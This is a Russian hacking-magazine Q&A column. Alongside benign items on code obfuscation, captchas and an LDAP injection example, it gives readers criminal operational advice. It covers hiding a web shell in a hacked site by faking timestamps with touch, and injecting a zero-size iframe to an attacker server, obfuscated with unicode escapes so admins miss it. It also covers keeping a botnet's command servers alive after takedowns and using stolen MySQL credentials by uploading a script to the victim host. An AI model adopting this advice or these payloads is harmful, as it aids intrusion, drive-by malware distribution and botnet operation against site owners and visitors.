Hack-FaqЕвгений «Corwin» Ермаков Хакер, номер #106, стр. 052 Q: Написал CMS и думаю, стоит ли делать обфускацию кода? Зазендить? A: Напомню, что обфускация - это запутывание кода программы, то есть приведение исходного текста или исполняемого кода к виду, сохраняющему функциональность программы, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции. Запутывание кода может осуществляться на уровне алгоритма, на уровне исходного текста, ассемблерного текста. Для создания запутанного ассемблерного текста могут применяться специализированные компиляторы, использующие неочевидные или недокументированные возможности среды исполнения программы. Сейчас зенд обходится умельцами, а любые другие простенькие обфускаторы не могут обеспечить достойный уровень кодирования, и код раскодируется довольно быстро. Но от неподготовленных хакеров обфускация может помочь :). Q: Ну а нужно ли делать привязку скриптов к хосту? A: Как правило, обнулевание, то есть отвязка скриптов от хоста, не представляет сложности. Привязка, как и обфускация, может защитить твои скрипты только от людей, совершенно незнающих веб-программирование. Q: Спам-боты, обходящие капчу на моем форуме, стали сильно допекать. Что делать? A: Способу генерации captch'и, которую не сможет обойти бот, стоило бы посвятить целую статью. Некоторые алгоритмы реально работающих капч можно найти в статье «Построение защищенной надписи» (http://captcha.ru/articles/visual). Мы остановимся лишь на основных моментах. Во-первых, можно использовать аудиофайлы с записью какого-либо слова, которое при регистрации должен ввести пользователь. Во-вторых, можно задавать пользователю небольшие задачки вроде: «Сколько будет 15+12?». Есть и еще некоторые капчи, но так или иначе все они могут быть неэффективны. Если нет желания самому создавать стойкие системы против ботов, то всегда можно воспользоваться уже готовыми и проверенными на деле. Например, капчами, генерируемыми на известных порталах. В этом случае мы вызываем, например, генерируемое сочетание символов со стороннего сервера и просим ввести их уже в своей системе регистрации, далее отправляем введенные пользователем символы серверу, на котором была сгенерина капча, и читаем ответ того сервера. Q: Есть ли в Оракле функция, аналогичная мускульной LOAD_FILE()? A: Нет, к сожалению, возможность загрузить файл отсутствует. Q: Хочу вставить код простого шелла в скрипты взломанного сайта, но опасаюсь, что админ пропалит это дело. A: Если на сервере установлена и правильно сконфигурирована IDS, то глупо прибегать к патчингу скриптов. Даже без систем обнаружения вторжений можно сравнить чексуммы, и факт изменения кода сразу же всплывет. Ну а если на взломанной машине нет IDS'ок и руки администратора растут из неположенного для этого места, то хотя бы не поленись сменить дату изменения файла :). Для этого используем функцию touch. Синтаксис: touch -t Год месяц день часы минуты файл Пример: sh# ls -al -rw-r--r-- 1 root root 4 2005-10-05 18:50 file.xxx sh# touch -t200710090102 file.xxx sh# ls -al -rw-r--r-- 1 root root 4 2007-10-09 01:02 file.xxx Q: Потихоньку стал вливаться в тему взлома Wi-Fi сетей, но не могу определиться с оборудованием. Что купить: ноутбук или КПК? A: Кому что удобнее. На мой взгляд, идеальный вариант - это мобильный ноутбук (то есть ноут небольших размеров, легкий, с электроемкой батареей) плюс КПК. КПК для прочесывания местности на точки доступа и составления карты, а ноут уже для целенаправленной атаки. Если брать что-то одно, то, конечно, КПК значительно опережает ноутбук по эргономичности, но ведь главный фактор здесь - набор софта. А вот уже в этом вопросе, естественно, ноут уже существенно обходит своего младшего брата :). Q: Ну а что делать, если не могу правильно настроить Wi-Fi утилиты, драйверы под Linux? A: Большинство из тех, кто настраивал Wi-Fi под никсами, сталкивались с различными проблемами. Это и отталкивает многих новичков от wardriving'a. Попробуй использовать специализированные LiveCD-дистрибутивы, в которых уже есть большой набор инструментария и драйверов. В качестве примера могу назвать Whax, Frenzy, NST. Также настоятельно рекомендую зайти на ресурс http://madwifi.org. Q: Как качественно зашифровать iframe, который я вставляю в страницы, и нужно ли его вообще шифровать? A: Шифровать свои фреймы нужно обязательно. Просечь новые строчки кода, тем более с ссылкой на неизвестный сервер, сможет любой админ. Если кто-то получит доступ к серверу, который взломал ты, то он обязательно уберет твой iframe из кода, так как покупателям shell/ftp нужны чистые, непоюзанные акаунты. Ну а шифровать можно по-разному. Как вариант - использование HTML-крипторов (к примеру, HTMLProtector). Существует онлайн-сервис HTML Encoder (http://codehouse.com/webmaster_tools/html_encoder). Для примера я взял такую строку: <iframe src="http://myserver" width=0 height=0></iframe> После шифрования она приобрела следующий вид: <script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020 \u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u006d\u0079\u0073\ u0065\u0072\u0076\u0065\u0072\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0030\u0020\ u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0030\u003e\u003c\u002f\u0069\u0066\u0072\u0061\ u006d\u0065\u003e')</script> Чтобы проверить правильность кодирования, можно заюзать HTML Decoder, который находится на том же ресурсе. Введя зашифрованный фрейм, я получил первоначальный вариант своего iframe. Q: Узнал логин и пасс от MySQL'a, но не могу приконнектиться со своего компа. Почему? A: В конфиге мускула запрещено удаленное подключение. Заливай скрипт а-ля phpMyAdmin и подключайся локально. Q: Не знаю, что делать: прикрыли сервер, который управлял ботнетом. A: Купи абузоустойчивый сервак. Используй децентрализованную систему управления ботами. Сделай управление с нескольких запасных серверов. Распределяй команды между несколькими главными ботами, с которых будут получать команды все остальные. Также сделай бэкап-сервер, и если главные боты умирают, то команды скачивают несколько других ботов, которые также становятся главными. Можно не ждать, пока кильнутся основные управляющие боты, и задействовать партиями других ботов. В общем, включи смекалку :). Q: Слышал про утилиты, которые называют flawfinger'ами. Что это за программы? A: Flawfinger'ы - это программы, позволяющие находить косяки в исходных кодах программ (приложений, чем заменить?). Такие утилиты анализируют сорцы (сейчас существуют finger'ы, анализирующие Java-, Perl-, PHP-, C/C++-, Python-код) и составляют детальный отчет, где прописывают номера строк в коде, в которых, по их мнению, может возникнуть ошибка (утечка памяти), уязвимость (переполнение буфера). Q: Что такое LDAP-инъекции? A: Если говорить просто, это внедрение операторов в уязвимое приложение, которое передает запросы к службе LDAP. В этом случае все запросы от пользователя передаются по протоколу LDAP. Здесь, как и при обычной SQL-инъекции, безопасность сервера зависит от фильтрации передаваемых от пользователя данных. Если нет должной фильтрации, то хакер может модифицировать LDAP-запрос. Чтобы не быть голословным, можно взять пример кода с комментариями из каталога классификаций угроз, составленного специалистами из Web Application Security Consortium (http://webappsec.org). Уязвимый код line 0: <html> line 1: <body> line 2: <%@ Language=VBScript %> line 3: <% line 4: Dim userName line 5: Dim filter line 6: Dim ldapObj line 7: line 8: Const LDAP_SERVER = "ldap.example" line 9: line 10: userName = Request.QueryString("user") line 11: line 12: if( userName = "" ) then line 13: Response.Write("<b>Invalid request. Please specify a valid user name</b><br>") line 14: Response.End() line 15: end if line 16: line 17: line 18: filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry line 19: line 20: line 21: 'Creating the LDAP object and setting the base dn line 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP") line 23: ldapObj.ServerName = LDAP_SERVER line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com" line 25: line 26: 'Setting the search filter line 27: ldapObj.SearchFilter = filter line 28: line 29: ldapObj.Search line 30: line 31: 'Showing the user information line 32: While ldapObj.NextResult = 1 line 33: Response.Write("<p>") line 34: line 35: Response.Write("<b><u>User information for: " + ldapObj.AttrValue(0) + "</u></b><br>") line 36: For i = 0 To ldapObj.AttrCount -1 line 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b>: " + ldapObj.AttrValue(i) + "<br>" ) line 38: Next line 39: Response.Write("</p>") line 40: Wend line 41: %> line 42: </body> line 43: </html> Обрати внимание, что имя пользователя, полученное от клиента, проверяется на наличие в этой строке пустого значения (строки 10-12). Если в переменной содержится какое-то значение, оно используется для инициализации переменной filter (строка 18). Полученное значение применяется для построения запроса к службе LDAP (строка 27), который исполняется в строке 29. В приведенном примере атакующий имеет полный контроль над запросом и получает его результаты от сервера (строки 32-40). Мы можем сделать следующий запрос: http://example/ldapsearch.asp?user=* В этом случае серверу передается символ «*» в качестве параметра, что приводит к формированию запроса с фильтром uid=*. Выполнение запроса приводит к отображению всех объектов, имеющих атрибут uid. |